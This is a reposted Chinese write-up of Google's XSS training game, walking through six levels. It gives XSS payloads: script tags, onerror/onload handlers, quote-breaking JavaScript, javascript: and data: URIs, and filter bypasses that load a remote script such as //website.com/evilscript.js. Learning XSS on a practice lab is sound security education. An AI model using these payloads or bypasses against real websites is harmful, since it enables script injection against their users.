Google的XSS游戏——WriteUp

转载

地址ch3nye.top 于 2018-11-01 09:00:20 发布 239 收藏
文章标签： google xss

Hi基友们，本文主要描述Google前些天发布的关于XSS漏洞游戏的玩法，地址在这里。

本文我会列举在网络中找到的一些有趣的方法，包含所有关卡。废话不多说，直接开始吧！

Level 1: Hello, world of XSS

好吧，这一关很简单，没什么可说的：

```
<script>alert(1);</script>
```

Level 2: Persistence is key

这一关可以用以下这几种不同的方式：

```
<a href="test" onclick="javascript:alert(1);">test</a>
```

创建一个链接（需要与用户交互）

```
<img src="test.png" onerror="javascript:alert(1);"/>
```

加载一幅无效图片（使用onerror）——不需要交互。

```
<img src="https://xss-game.appspot.com/static/level2_icon.png"onload="alert(1);" />
```

加载一张有效图片（使用onload）——不需要交互。

Level 3: That sinking feeling…

页面上加载的图片使用了window.location.hash 这一javascript属性。

所以我们可以用如下这种方式：

```
1.jpg' onload='javascript:alert(1);'
```

加载一张有效图片（使用onload）——不需要交互。

或者：

```
' onerror="alert(1)">
```

加载一张无效图片（使用onerror）——不需要交互。

也可以用如下方式使用script 标签：

```
'><script>alert(1);</script>
```

Level 4: Context matters

这一关需要用一些不同的方法：

```
1')%3Balert('1
```

分号字符必须被编码，否则会被过滤。

单引号'也有可能被过滤：

```
1%27)%3balert(%271
```

也可以使用||逻辑操作符：

```
1') || alert('1
```

也可以用下面这种方法，不需要任何编码/操作符：

```
1');alert(1);//
```

Level 5: Breaking protocol

在这一关，像双引号"这样的字符会被过滤，我们只需要使用：

```
javascript:alert(1);
```

之后，单击链接之后，就会提示alert警告框了。

Level 6: Follow the rabbit

在最后一关，我们可以用如下方式使用data:text/javascript：

```
data:text/javascript,alert(1);
```

正则表达式也是大小写敏感的，所以我们可以用"HTTP"代替"http"，之后用如下这种方式加载远程脚本：

```
HTTP://127.0.0.1:8000
```

或在网址最开始处添加一个空格：

```
[空格]http://127.0.0.1:8000
```

首页必须包含一些类似alert(1)这样的javascript脚本。

我在网络上看到有些人没办法加载某些HTTP脚本，因为他们使用的是HTTPS版本，这种情况下，可以自己创建一个简单的HTTPS服务器（例如使用Node.js）。

```
var https = require('https');
var fs = require('fs');

var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')

var options = {
    key: hskey,
    cert: hscert
};

https.createServer(options, function (req, res){
    res.writeHead(200);
    res.end("alert(1);");
}).listen(8000);
```

利用Node.js实现简单的HTTPS服务器

在这两种情况下，可以使用以下代码绕过过滤：

```
//website.com/evilscript.js
```

双反斜杠符号//是使用https或http的另一种方式，实际情况中会用哪个取决于网站使用的协议。

例如，如果运行着自己的HTTPS服务器，可以注入以下代码：

```
//127.0.0.1:8000
```

Done.

希望读完本文的读者能有所收获。这个游戏还是挺有意思的，期待其后续的作品。

原文地址：http://paulsec.github.io/blog/2014/06/02/diving-into-xss-googles-game/